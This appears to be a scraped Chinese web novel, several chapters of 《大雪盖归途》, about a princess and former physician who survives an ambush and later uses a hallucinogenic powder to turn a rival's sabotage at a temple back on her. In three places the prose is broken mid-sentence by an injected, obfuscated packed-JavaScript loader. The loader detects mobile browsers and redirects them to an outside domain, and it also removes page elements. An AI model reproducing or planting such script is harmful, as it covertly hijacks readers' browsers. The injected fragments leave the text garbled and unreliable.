《大雪盖归途》 1. 第 1 章 《大雪盖归途》 文/纪朝歌 独家发表于晋江文学城 - 秋风凛冽,枯枝在寒意中簌簌颤抖,呼出的白气转眼化作细碎霜花。 马车摇摇晃晃地走着。 宫女青黛端着鎏金手炉进入马车,给玉荷公主江芙诗取暖。 江芙诗依靠在堆满锦缎软枕的厢壁上,神色恹恹,看上去大病未愈。 青黛赶紧拿来一件雪狐毛滚边的黛色斗篷给她披上,关切道:“殿下,您还好吗?” “再有半日路程,就回到京城了,您再歇息会。奴婢已提前让小厨房准备了温补的参汤,回府就能喝上了。” 对上青黛泛着青黑的眼睛,江芙诗掩唇咳嗽了几声,说:“这些时日,亏得你在侧悉心照料。” 回想起那日江芙诗意外落水差点淹死。 青黛的双眼瞬间湿润,两行清泪顺着脸庞落下,当即跪在江芙诗跟前,惶恐叩首:“是奴婢该死,没能护住殿下,若您有个闪失,青黛万死难辞其咎。” “不是你的错,不必自责。” 青黛用袖子胡乱擦了擦眼泪,却仍跪着不肯起身,声音哽咽:“殿下心善,可奴婢终究是失职了。” 见青黛大有长跪不起的姿态,江芙诗打发她去看看前头到哪处驿站。 等人一走,江芙诗立马将手里的鎏金手炉搁下。 其实她早就好了,装的真难受。 每年秋分后三日,皇家御苑内枫林尽染,正是赏秋的最佳时节。 半个月前,秋澜雅集的最后一天。 玉瑶公主趁她不备,将她推下了湖,导致她呛入寒潭水引发高热惊厥,没办法和参加完雅集的皇室队伍一起回京。 只能留在皇家御苑养病调理身子,现在才开始返程。 玉瑶的动手非常隐蔽,大家都以为她是自己不慎失足。 表面上看,她因为落水卧病在床。 但实则等御医一走,她立马给自己施了针灸,不出三日就恢复了。 在被皇室接回宫前,她是江湖上小有名气的医女,一手针灸术出神入化,医毒双绝。 之所以伪装成病恹恹的模样,一来是想隐藏自己的底子,毕竟在外人看来,她是不受宠又体弱多病的废物公主。 二是她要趁这个好机会,收集不容易弄到的药材。 用苍耳子粉末拌制夜交藤汁液,再加上三味乌头、蟾酥、璜床子制成的药粉,将其添加进所用之物中,可以让人浑身瘙痒,七天七夜不得安宁。 且无色无味,不会被人察觉,只会以为是秋季燥火引发的风疹。 玉瑶如此心狠手辣,就别怪她以牙还牙了。 这些年,玉瑶一直很妒忌她,处处为难,处处使绊。 觉得她的出现,分走了父皇本就不多的关注。 玉瑶有皇后撑腰,而她只是被寻回来的‘乡野公主’。 原本只想安稳度日不惹是非,以往玉瑶那些小动作只要不伤及根本,她都睁一只眼闭一只眼忍了过去。 可这次玉瑶竟想要她的命,便休怪她掀了这棋盘。 马车在颠簸的官道上行了半个时辰,突然停了下来。 江芙诗掀开马车帘角,还未来得及询问为何停车,护卫统领柳梓迎了上来,恭敬道:“殿下,前方起雾分不清方向,请殿下在此处稍等片刻,末将带两名护卫探路确认方向就回。” 从皇家御苑回京,会穿过一片狭长的迷雾谷,这里常年雾气缭绕,十步开外难辨人影。 江芙诗对此略有耳闻,回到车厢裹紧了身上的披风。 可等了许久都不见柳梓回来,心中隐隐生出几分不安。 正欲吩咐青黛击鼓传讯,几道呼啸的箭响忽然划破空气,插在马车的木质车厢壁上。 “啊,殿下小心!” 随着青黛一声惊呼,马车的车厢竟被一道凌厉的剑气整个震碎。 江芙诗被碎木与气浪狠狠掀飞,跌倒在地,发髻散乱。 方才还整齐的宫装被划开数道裂口,露出的小臂上满是细碎的擦伤,飞扬的尘土让她止不住地咳嗽,连带着身子都在微微颤抖。 脑袋嗡嗡作响,一道汹涌的血气从喉间溢出。 江芙诗咬牙咽下腥甜,赶忙睁眼看向四周,竟见青黛及其侍卫全都倒在了地上,一动不动。 “青黛,青黛!” 她立马搭上青黛的脉象,须臾间便有了判断。 没死,是被剑气震晕了经脉。 她能躲过一劫,是车厢帮她挡住了。 能有这么强剑气的人是谁? 难道是知晓车里的人是公主,要来刺杀? 雾气环绕,凌乱的脚步声从周围涌了上来,全都停顿在面前的竹林里。 尖锐激昂的女声透过迷雾传来:“寒刃!你灭我残月教满门,今日被尔等堵在这里,势必要将你碎尸万段,以慰藉我一百六十八名师门的在天之灵!” “狗贼,赶紧束手就擒!” “今日这迷雾谷,便是你的葬身之地!” 江芙诗定睛一看,一群身穿月白劲装,手持长剑的女子团团围绕在竹林边,剑尖指向竹梢处迎风而立的年轻男人。 他裹在流动的雾霭里,玄色暗纹紫袍随风轻轻翻卷。 一张银质面具自眉骨覆至下颌,只留一双眼瞳在外。 那瞳仁黑得像深不见底的寒潭,雾气漫过面具时,竟似被他周身散出的凛冽气息冻成了细碎白霜。 江芙诗皱眉凝望,从言语判断,白衣女子是残月教弟子,而这被称为寒刃的男人,是他们的灭门仇人。 方才那道剑气,估计是他们双方交手时不慎波及至此的余劲。 此时此刻,她们正全神贯注,根本没注意到这里还有被牵连的人。 湛霄漫不经心地挥动手中的折玉剑,剑气随着他的动作在身侧流转,幻化成细腻的霜雪,如碎星般簌簌飘落。 他眼帘微抬,目光扫过围堵的人群,语气听不出半分波澜。 “我从来不杀女人。” “更何况,你们根本不是我的对手。” 他轻飘飘的两句话令残月教弟子们气得浑身发抖,为首之人厉声喝道:“狗贼休要狂妄!今日便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405305|184430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是拼了性命,也要让你为残月教的亡魂偿命!” “我们上!” 高喊过后,白衣女子纷纷持剑一跃而上,朝着湛霄杀去,将他围攻在圈内,霎那间,剑光如雪,寒芒交织,将他的退路尽数封死。 江芙诗躲在草丛里,极力让呼吸轻若游丝,减轻自己的存在。 她不懂武功,可也看得出这些女子招招致命,毫不留情。 而那男人却应对自如,招式行云流水间带着几分慵懒,确如方才所言,他不杀女人。 许是厌烦被无休止地纠缠,那紫袍男人的身影在竹林间一个旋身掠影,手中长剑骤然挽出三道剑花,猛烈的剑气兼夹着雪花如急雨般哗哗落下,有些甚至还飘落到了江芙诗的眼睫上。 冰凉的触感令她惊异,此时还不是下雪的时节,又怎会…… 难不成,是这男人的剑招能引动天地寒气,凝气成雪? “噗!” 白衣女子纷纷被剑气震得倒飞出去,撞在竹树干上呕出鲜血,横七竖八地倒在地面的枯叶上,没了意识。 紫袍男人从两丈高的竹枝落在地面,手持长剑,剑尖垂地,一滴血珠顺着锋刃滑落,无声无息地没入地表。 江芙诗大气不敢喘,暗暗盼望他快些离开这里,自己也能趁机脱身。 然而事与愿违。 那道紫色身影未挪动半步,反而似有若无地朝她藏身的地方瞥来。 江芙诗的心脏骤然缩紧,忙将身子往后缩了缩,指尖无意识捏紧了袖中那只小巧的青花瓷瓶。 这是她自制的迷心散,中毒之人会立即陷入昏迷,醒来后头昏脑涨,对昏迷期间的事毫无记忆,是她最后的防身手段。 就分神了一会,等再次抬头,男人的身影竟不见了,江芙诗的脊背陡然窜起一股寒意,正欲探头查看,一道冷漠的男声在头顶响起。 “是在找我吗?” 江芙诗猛地抬头,正对上那双覆在面具下寒潭般的双眸。 他不知何时已来到自己身后,玄袍下摆沾着的霜雪尚未融化,剑气残留的寒意让周遭的空气都冷了几分。 “啊!” 江芙诗吓得拔腿就跑,慌不择路地朝浓雾深处踉跄冲去,结果瞬息之间,剑尖已抵在了她的颈前。 挺拔如松,肩宽腰窄的男人立在她的身前,银质面具遮住大半面容,只露出线条利落的下颌和一双深不见底的眸子,瞳仁里映着雾色与剑光,透着几分漠然的疏离。 “你是谁?”他冷声道,剑尖又近了一寸,直指她的喉咙,若再往前一点,她必定见血。 江芙诗浑身一僵,后背瞬间沁出冷汗,紧握双拳让自己冷静下来,强作镇定道:“我乃当朝玉荷公主江芙诗,你若伤我分毫,禁军顷刻便至,整个江湖都藏不住你的踪迹!” 眼前的女子发髻散乱,莹白小脸嵌着双受惊的猫儿眼,眼尾带着几分娇媚的上挑。鼻尖秀气,唇瓣虽失了血色,却依然饱满柔软,几缕乌黑的发丝贴在她沁出汗珠的额角和脸颊边,更显得楚楚可怜。 湛霄听闻,毫无敬畏之色,口吻冰冷:“公主,又如何?” 12. 第 12 章 “即便没有这件事,皇后不也一样视我为眼中钉?” “这些年来,皇后与玉瑶,何曾容我半分安宁?”江芙诗缓吸一口气,平复心情,继续道:“可若今日本宫袖手旁观,任那凶徒为非作歹,未来每思及此,都只会良心作痛,夜不能眠。” 要是那女子真被曹彰强抢入府,以他暴虐的性子,那女子怕是求生不得、求死不能,最后含恨而终。 “殿下说的是。”娄冰菱神色一凛,随即化为叹服。 “那父女二人,确也着实可怜。要不是今日得殿下庇护,早已沦入豺狼之口,生死难料了。” 正说着,方才被打的老者牵着女儿蓉蓉的手,含泪跪在了江芙诗面前,哆嗦着嗓音:“多谢公主殿下救命之恩!小老儿无以为报,来世愿当牛做马报答殿下!求殿下再发发慈悲,蓉蓉她……她无依无靠,小人怕曹公子去而复返啊!” 蓉蓉身板娇小,方才那场闹剧,让她整个人慌了神,不停地打着颤抖,模样实在可怜。 “起来说话吧,你有何冤情,只管道来。”江芙诗轻声道。 青黛伸手将蓉蓉扶起,又取出帕子给她擦了擦身上的污秽。 “公、公主殿下……”蓉蓉声音细若蚊蚋,带着未散的惊惧,又要跪下磕头:“家中已无米下锅,娘亲早逝,爹爹又卧病在床,方才为了护我,怕是伤得更重了,恳求殿下垂怜,蓉蓉愿做牛做马,结草衔环,为殿下祈福祝祷,奉献一生!” 老者掩面哭泣,跪在地上给江芙诗磕头:“公主殿下,草民实在是走投无路,家中商铺经营不善,拖欠了靖国公府的欠款,这才惹来今日之祸。” “草民不求公主殿下赏金赐银,只求您收留小女,给她一条活路,望殿下成全。草民愿来世结草衔环以报大恩!” 紫苏忍不住出口求情:“殿下,这丫头孤苦无依,不如就给她一条生路,让她入府做些洒扫活计。” 一老一小,就这么跪在冰冷的地上,声声泣血,要是真这么放任离去,没准明日便要家破人亡。 江芙诗叹了口气,对蓉蓉说:“你们家还欠曹彰多少钱?本宫一并替你们还了,再支些银两给你爹治伤调养,以后,你就随本宫回府,青黛和紫苏二位姑姑会带你熟悉规矩。” “现在,本宫要继续启程,前往慈安寺,你若愿意,便回去与你父亲道别,随本宫出发。” 听闻此言,蓉蓉简直不敢相信自己的耳朵,愣了片刻才反应过来,眼泪瞬间涌出,重重磕下头去。 “公主殿下大恩大德,蓉蓉永世不忘,必当竭尽所能报答殿下!” “去吧,收拾一下。”江芙诗看向青黛,“准备准备,继续上路。” “是,殿下。” 江芙诗在街上糕点铺,买了点荷花酥和杏仁佛手,与娄冰菱在车上细细品尝。让青黛把剩余的糕点分给随行的侍卫与宫人,还特意给蓉蓉留了一份大的。 她方才那副模样,显然是饿的厉害,估计平常生活,紧衣缩食。 娄冰菱略显感慨:“曹家已是钟鸣鼎食之家,曹彰身为国舅嫡子,依旧这般横行无忌,与民争利,真真令人不齿。” 端起热茶抿了一口,江芙诗浅浅摇头:“权势蚀人心智,在他们眼中,百姓与蝼蚁何异?” 马车缓缓驶过繁华街市,来到翠云山麓,周遭景致逐渐清幽,路径四面环竹,清泉如练,在陂顶汇成小型瀑布,飞泻而下。 江芙诗掀开车帘,清新的气息扑面而来,顿感神清气爽。 慈安寺建在山麓的一片开阔平台上,虽不用登山,但马车只能停在山门外。 此时已近午时,仍有零星的香客来往。 江芙诗下车时,发现旁边是一辆布置奢华的马车,车檐四角悬挂着精致的玉铃,十分惹眼。 她收回目光,没放在心上,拾阶而上。 得知贵人驾到,慈安寺的主持静慧师太已恭候在山门之外,身后跟着几位知客僧。 江芙诗双手合十,微微颔首:“有劳师太亲迎,信女今日前来,只为静心祈福,不敢劳烦宝寺过多。” 静慧师太还礼:“公主殿下驾临,敝寺蓬荜生辉,请随贫尼入内。” 寺中古木参天,梵音袅袅。 正欲随主持前往宝殿敬香,江芙诗的眼前忽然闪过一道粉红身影,定睛一看,原是永嘉侯嫡女,李婉如。 李婉如姑母是皇帝的宠妃,李贵妃,永嘉侯府凭借贵妃得宠,在朝中声势渐隆,是后族之外最显赫的外戚。 这便勾起了一桩旧怨,三年前的赏花宴。 赏花宴有一项雅趣,品评众贵女调制的百花香露。 李婉如师从调香名家,对此道极为自负。宴上,她精心调制了一款复杂昂贵的香露,取名“国色天香”,意在暗喻自己姑母。 当时所有人都交口称赞,将其奉为上品。 唯有江芙诗,在轮到她品评时,只是轻轻一嗅,便微微蹙眉。 “此香用料名贵,繁复绚烂,只可惜……龙涎香与瑞脑比例稍过,喧宾夺主,压住了花魂本色,倒显出一股子刻意求来的富贵逼人,闻久了,怕是会心生烦躁,于安眠无益。” 风头被抢,且被当众指出香露寓意“俗气”,李婉如颜面尽失,沦为笑谈。 而江芙诗随手调制的一款“荷叶冷香”,因其清新脱俗,反得了皇帝一句随口的称赞。 至此,李婉如便将此番大辱深深记恨于心,直到今天。 “怪不得,方才在山下见侍卫肃清道路,排场非凡,原是玉荷公主驾到,倒是让这清净佛门,也沾惹上几分皇家贵气了。”李婉如用团扇轻掩唇角,似笑非笑地说,眼里并无半分对江芙诗的尊敬。 娄冰菱蹙眉,上前半步:“李小姐,见了公主殿下,还不行礼问安吗?” “见过玉荷公主殿下。”李婉如敷衍地屈了屈膝,裙摆几乎未见波动,下颌微抬,目光斜睨。 真是冤家路窄,竟在此处遇上了她,这般倨傲无礼,倒是一如既往。 江芙诗并未立刻叫起李婉如,任由她保持着这尴尬的姿势停顿了少许,才不紧不慢地开口:“李小姐不必多礼。佛门清净地,这些虚礼能省则省。” 李婉如这才缓缓直起身,眼底一片冰冷。 她上下打量江芙诗今日的衣着配饰。 “多日不见,公主殿下似乎清减了些。可是宫中用度不惯?还是在思念民间质朴之风?” “也是,那等天然去雕饰的雅趣,确非我等凡俗之人所能领悟。只是殿下如今身份不同,也该多用些心,有些东西,过于素淡了,反倒失了皇家体面,让人误会陛下亏待了殿下呢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405316|184430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李婉如语带关切,表面像是为江芙诗着想,实则讽刺她出身卑微,上不得台面。 只是因今日礼佛,江芙才打扮得素雅些,没想到竟被为李婉如拿来大做文章,讥讽她寒酸失礼。 “父皇教诲,仁德为体面之饰,俭素乃皇家祖训。与其将心思耗费在浮华外物之上,不若多修内德。至于民间风物,其中蕴含民生疾苦与智慧,李小姐久居深闺,自然难以体会,本宫倒觉得受益匪浅。” 一番话既搬出皇帝和祖训,又站在体恤民情的高处,李婉如哑口无言,脸色青白交加,只得悻悻道:“殿下言之有理……” 只是她越想越气,指尖狠狠掐进掌心。 身旁的贴身侍女见状,小心翼翼地劝慰:“小姐消气,勿气坏了身子,那玉荷公主不过是侥幸认祖归宗,半路出家的凤凰,虚有公主头衔,如何与您这等真正的金枝玉叶、高门贵女相提并论。” 听了这话,李婉如心中翻腾的怒火才渐渐消下去了一些。 她忿忿道:“三年前被她当众羞辱,成了京城笑柄,今日又被她拿陛下和祖训来压我,这口气我如何能忍!” 贴身侍女低着头,不敢多言。 李婉如像是想起了什么,忽然问道:“上次用剩下的红宝草还有吗?” “有,随身携带的香囊里备着一些,以防蚊虫,小姐,您这是要做什么?” 李婉如眼中闪过一丝狠毒:“她不是要敬香吗?我便让她在佛前‘光彩照人’一回!你去,想法子在她要上的那炷大香顶端悄悄撒上一些,动作要快,要隐蔽!” 江芙诗上完各处偏殿的香,来到为皇室特设的、供奉巨型香烛的铜鼎前。 这里是寺中香火最盛之处,需要用盘龙巨香方显诚心。 就在江芙诗拿起火引,即将触碰到香烛的一刹那——藏身于古槐浓荫之中的湛霄,眼神骤然一凛。 他那远超常人的目力,早在李婉如侍女靠近香炉时便锁定了对方,更未错过她指尖轻弹、将那一点红褐色粉末撒向香头的细微动作。 虽不知具体是何物,但绝非善意。 他双指合并,凝气成线,冰冷的寒气径自袭向那一点火苗。 “噗——” 一声极轻微的熄火声。 江芙诗手中的火引被瞬间熄灭,只余下一缕细细的青烟。异样的寒意顺着竹制的火引杆蔓延而上,激得她指尖微微一颤。 她垂眸看着手中骤然熄灭的火引,不由得一怔。 下意识地抬头四望,只见晴空万里,古树叶梢都未曾摇动,哪来的这股邪风? 一直安静侍立的蓉蓉忽然凑到她跟前,语气恳切,焦急道:“公主殿下,这香被人下了药,不能点,点了会瞬间爆燃的!” 江芙诗紧皱眉头,看了眼盘龙香,又看向眼前神色惊慌却异常认真的小丫头:“你说什么?你怎么知道这香被人动过手脚?” 蓉蓉急得快要哭出来:“殿下不知,奴婢天生嗅觉灵敏,异于常人,能闻到极细微的气味。” “奴婢家中世代经营药材,常年耳濡目染之下,对许多药物气味都记得特别清楚。” “殿下,奴婢确信,这香被人洒了红宝草粉,一遇明火,便会急速燃烧,威力甚大,极易伤人。” “稍有不慎,甚至可能毁容!” 13. 第 13 章 蓉蓉的话令江芙诗心尖一动,当即想到一个人。 紧接着,她压低声音,“殿下,红宝草粉的味道,奴婢刚刚在李小姐的身上,闻到过……” 红宝草粉性味辛燥,配以其他香药,可作为香囊使用,但若是遇到明火,却会瞬间爆燃。 果然…… 以李婉如睚眦必报的性子,不可能会善罢甘休,原来是有此毒计。 娄冰菱倒吸一口凉气,正想说些什么,话到嘴边,江芙诗按住她的手,对着她微微摇了摇头,示意别打草惊蛇,然后暗暗吩咐青黛和紫苏,去把盘龙巨香更换掉。 又寻了个借口,说: “此香宏大,需至诚之心方能点燃。方才本宫心绪不宁,火引熄灭,恐是心意未至。且稍待片刻,容本宫静心片刻再行敬香。” 静慧师太完全没有起疑,双手合十,颔首表示理解:“阿弥陀佛,心诚则灵,殿下请自便。” “如此,有劳师太稍候。”江芙诗敛衽微礼:“本宫衣冠略有散乱,需稍作整理,再去礼佛。” 她借机来到殿后一处无人的回廊,四顾确认无人留意,才停下脚步。 从头上取下银簪,把中空的簪头打开,倒出被碾碎成粉末的七步乱神散,用帕子包好,随后若无其事地回到供奉线香的香案前。假装挑选线香,实则是把包着药粉的帕子在一支看起来最普通、但位置显眼的线香的香头轻轻蹭了几下,让粉末附着在上面。 朝拜开始。 一直躲在大殿侧门帷幔后观察情况的李婉如怪异极了。 那盘龙香都燃了一小半了,怎么一点爆燃的痕迹都没有? 不是应该遇火就炸吗? “怎么会这样,你确定把红宝草粉弄上去了吗?” 侍女肯定道:“小姐,奴婢亲手洒的,绝不会错。” 李婉如蹙起眉头,又急又气:“不行,我得去看个究竟。” 她从帷幔后出来,装作若无其事地走到江芙诗跟前,悄悄打量那正在燃烧、却毫无异状的盘龙香,又狐疑地看向江芙诗。 江芙诗假装没看到她的目光,拿起线香从容点燃,插入香炉,然后才仿佛刚看到她一般,“李小姐方才去了哪里,怎么迟迟不上香?” 被问得一怔,李婉如脸上挤出僵硬的笑容,毫不知情地拿起那支被动过手脚的线香,就着旁边的烛火引燃:“有劳殿下挂心,不过是去透了透气。礼佛重在诚心,早晚片刻,想必佛祖也不会见怪。” 江芙诗双手合十,虔诚地垂下眼帘,对着佛像深深一拜。 再抬头时,对上了神像悲悯而威严的目光。 信女今日行此手段,求佛祖明鉴,非为私怨,实乃自保。若论怪罪,也当先怪那起念作恶之人。 “啊——啊——” 李婉如嗓中发出急促的尖叫声,随即不知道怎么回事,脚步凌乱地频频后退,不停挥舞双手,像是陷入了癫狂似的。 “走开!都给我走开!救我……有虫子!好多虫子在我身上爬!好可怕,好可怕,别过来,别过来啊!别咬我,别咬我!” 她一边胡言乱语,一边疯狂撕扯自己的衣裙和头发,精致的发髻瞬间散乱,珠翠掉落一地。 “有虫子在咬我,快,快帮我把虫子赶走,快啊!” 她披头散发地怒吼着,侍女见状,纷纷围上来想要按住她,“小姐,小姐,你怎么了?没有虫子,你的身上没有虫子啊。” “你们没长眼睛吗?好多好多的虫子在我的肩膀上,它们,它们想挤进我嘴里——” “啊——呕、呕……” 李婉如涕泪横流,弯腰作呕,妆容被糊得一塌糊涂,哪还有半分永嘉侯嫡女的端庄仪态。 “痒、痒、疼、疼,这些是什么?啊,别碰我!”她忽然推开搀扶的侍女,力道之大,险些将那侍女推倒在地。 “小姐,小姐!别扯自己的衣服!”侍女高声道。 整个佛殿前鸦雀无声,所有人都被这突如其来的骇人景象惊得目瞪口呆,寺中的知客僧反应过来后,赶紧帮忙制住几近癫狂的李婉如。 可她却像是中了邪似的,力大无穷,大家都按她不住,一直在胡言乱语,时哭时笑。 “我乃永嘉侯嫡女,你们都是下贱之人,比不得我出身高贵、你……不过是飞上枝头变凤凰的野雀,也配与我同殿礼佛吗!” “三年前,你让我脸面全无,今日我定要让你容貌尽毁,貌丑无盐!” “哈哈哈——” “啊!啊!啊!” 在场所有人都听到李婉如这番指桑骂槐的话,顿时吓得魂飞魄散,齐刷刷跪倒在地。 公主殿下当前,众人连呼吸都窒住了,生怕被这滔天的祸事牵连,整个大殿落针可闻。 “这、这是怎么了,怎么满口秽语?”娄冰菱嫌恶捂嘴,怕李婉如发疯袭来,她拉着江芙诗退后几步,不愿与李婉如有所牵扯。 江芙诗冷眼看着。 “许是心术不正,冲撞了神明,招来了业障反噬。” 七步乱神散毒性不大,只会让人神智昏聩、产生幻觉而已。一个时辰后药性自解,除却筋疲力尽与无比难堪之外,并无大碍。 比起李婉如想要令她毁容的恶毒心思,她这番敲打,算是便宜她了。 “小姐小姐,别说了。”李婉如的侍女们唉声求着,根本不敢看江芙诗一眼,连拖带拽地把李婉如拉出寺门,那凄厉癫狂的叫喊声,在寺外回荡了好一阵才渐渐远去。 “阿弥陀佛。”静慧师太面色凝重,长诵佛号:“因果不虚,报应不爽。” “李施主心魔缠身,言行无状,殿下受惊了。” 江芙诗淡然一笑:“佛门清净地,见众生百态,亦是修行。” 闹剧过后,寺中渐渐恢复平静。 到了用斋的时辰,有小沙弥前来引路:“斋堂已备好素斋,诸位施主请随小僧来,斋饭粗淡,还请各位贵人莫要嫌弃。” “怎会。”江芙诗笑着说:“贵寺素斋清雅,本宫早有耳闻,今日正想尝尝。” 娄冰菱也笑道:“我可是馋了许久,就是因为想吃你们寺庙的笋脯,才央着殿下今日一定要来的。” 小沙弥腼腆一笑:“两位贵人喜欢便好。” 斋堂清净,只有江芙诗一行人。 因公主到访,今天的斋饭只供应她们这一席,其余香客已被引至偏殿另用斋饭。 饭菜虽简单,却做得十分精致清爽。江芙诗夹起一筷油焖笋脯,入口鲜嫩咸香,带着一丝微甜,的确是宫中也难寻的乡野风味。 “殿下,此味如何,不枉跑这一趟吧?” “嗯,清香脆嫩,确是人间至味。” “慈安寺后山景致漂亮,殿下若有兴致,一会儿陪您走走?” “也好,正好消食。” 后山是一整片的幽静竹林,一条石板小路贯穿林间,蜿蜒向上。江芙诗与娄冰菱携手而行,林中只闻风吹竹叶的沙沙声与偶尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405317|184430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几声鸟鸣,显得格外空灵静谧。 行至半山一凉亭处,恰遇静慧师太在此静坐。 江芙诗放轻脚步,从师太身边越过。 望着山下恢弘的寺庙殿堂,与远处模糊的皇城轮廓,想到红墙金瓦之内的无尽纷争与束缚,她面露倦色,发出一声极轻的叹息。 “殿下眉间郁结,彷佛心有樊笼。” 不知什么时候,静慧师太行至跟前,江芙诗朝她合十还礼,苦笑道:“何处不是樊笼?” 看着她眼底深处,与年龄身份不符的枷锁感,静慧师太淡然一笑:“樊笼虽固,然风可进,雨可进,飞鸟亦可越。施主可见寺中飞鸟?其翼下之天空,非此院墙可限。” “佛法中有‘金刚怒目’,亦有‘菩萨低眉’。有‘持戒精严’,亦有‘游戏人间’。出世入世,岂有定法?” 江芙诗茫然眨眼,有那么一瞬间,她感觉静慧师太似乎看穿了她的所思所想。 她移开眸子,“然本宫身似飞鸟,却如困雀,爪喙皆软,翎羽未丰,纵有冲天之志,难越金丝牢笼。” 静慧师望向远处翱翔的飞鸟:“羽翼丰于风雨,爪喙利自磨砺。金丝笼亦非铁板一块。” “心之所向,即为方向。心若自由,何处不可翱翔?施主,莫问归处,但循本心。” 语罢,静慧师太合十施礼,踏上石板小路离去了。 江芙诗怔怔地看着她的背影。 “殿下?殿下?” 虽然没明白师太的话中深意,但娄冰菱也听得出来,江芙诗心中藏着极大的苦闷与不甘。 她问道:“殿下,您是觉得现在过的不自由吗?” 江芙诗点头,又摇头。 人生有得必有失,得失之间,孰喜孰忧,实难轻断。 比起宫外衣食无着的百姓,她锦衣玉食,享受荣华富贵,确实无从抱怨。 可她贵为公主,身边却危机四伏,四面楚歌,如行走在刃锋之上,甚至不如从前,做医女时安稳自在。 娄冰菱又问:“若是可以选择,殿下会想做什么?要怎么度过这一生呢?” 被问及此,江芙诗稍稍思索了一下,眼中流露出一丝罕见的、纯粹向往的光彩:“想周游天下,悬壶济世,不必算计人心,不必担忧明日。春日采药,夏日问诊,秋日制药,冬日围炉,自由自在,无忧无虑。” 娄冰菱闻言,微微一怔,随即眼中漾开温柔的笑意,轻轻挽住江芙诗的手臂:“殿下所想,真真是世上最自在的日子了。光是听着,便让人觉得心里敞亮。” “只是……殿下。” 她顿了顿,语气带上几分怜惜与无奈:“这世间女子,又有几人能真如飞鸟游鱼般无拘无束?便是宫外寻常人家的女儿,也有身不由己之处。” "更何况您身份贵重,牵一发而动全身,更是难随心所欲。” “若殿下真想学医,可从现在翻阅些医书药典,或召太医署女医学些基础药理,有一份寄托,或许能稍解烦忧,于身心也是有益的。” 江芙诗听罢,眼中那丝向往的光彩稍稍黯淡:“……嗯。” “回去吧,天色不早了。” 她转过身,发觉一直静静跟随的蓉蓉不见了踪影,不由向身侧的青黛问道:“蓉蓉呢?” “她说闻到一股奇特的味道,钻竹林去了,奴婢现在就去唤她回来。” 奇特的味道? 就在这时,不远处传来蓉蓉的声音:“找到了!” 14. 第 14 章 蓉蓉拿着一株红色的花从竹林跑出,略显惶恐地朝江芙诗说道:“殿下恕罪,奴婢不应该擅离职守。” “去做什么了?” 蓉蓉眼神亮晶晶:“殿下请看,这是红天芒,方才奴婢就是闻到了它的味道,所以才斗胆循着气味去找,生怕错过了。” 江芙诗仔细端详了会,眼底闪过讶异。 医书记载,红天芒生于幽僻之地,极难寻觅,十分珍贵,可遇不可得。 “奴婢以前听爹爹说过,红天芒是解毒圣药,能克多种奇毒,再搭配九星花,甚至可以起死回生!殿下,您快收起来。” 蓉蓉的话,令所有人的目光都聚焦到这朵小小的红花上。 红天芒和九星花的药性,江芙诗是知道的,不过这也是她第一次见到实物,一时看呆了。 相比之下,红天芒比九星花更易寻得。九星花的生长条件极为苛刻,只在高山之巅的雪线附近,十年方能开一次花。 这么多年,她也只在医书古籍中见过描绘,从未有幸得见一株。 “天呐,竟有此等奇物!”娄冰菱惊呼,随即欣喜地看向江芙诗:“殿下,这真是天意,您刚想研习医术,便得了这般机缘,可见连上天都在助您。” 江芙诗莞尔一笑,小心翼翼地接过红天芒,用绢帕包裹好,“你倒是机灵,竟识得这等宝物,今日立了大功。” “谢、谢殿下夸奖。”蓉蓉有些受宠若惊,眼神怯生生。 没想到公主殿下此等尊贵人物,会如此温和地夸奖自己这个卑微的民女,蓉蓉的心中顿时涌起一股澎湃的热流,眼眶微微发热,暗暗立誓,一定要为公主殿下竭尽所能,万死不辞。 返回马车,江芙诗恨不得自己能有双翅膀,可以立马飞回公主府处理红天芒,将药性完美封存。 可惜天不遂人愿。 车队在经过一段狭窄的河谷险道时,忽然停了下来。 还未等江芙诗有何反应,车外响起柳梓的声音:“殿下,前方突发落石,阻塞了道路,请您稍安,容末将前去查看。” 江芙诗轻蹙眉头,示意青黛掀开车帘,果真看见前方路面散乱着不少山石泥土,将去路堵得严严实实。 柳梓勘查后迅速返回,面色凝重:“殿下,末将已安排人手尝试清理,但落石甚多,且地势险要,恐非一时之功。” 秋风掠过河谷,带来阵阵寒意,江芙诗看了眼天空,日头已然西斜,暮色渐起:“依你之见,需多久方能通路?今夜可能赶回京城?” “回殿下。”柳梓抱拳垂首,语气沉重:“恕末将直言,即便连夜清理,最快也需明日清晨方能勉强通行。今夜……怕是只能在此滞留了。” “这……”娄冰菱面露忧色:“这荒郊野外,如何过夜?公主殿下万金之躯,岂能有丝毫闪失?” 柳梓也犯了难,脑袋越垂越低, 江芙诗叹了口气:“天灾意外,非人力可抗,也怪不得你。” 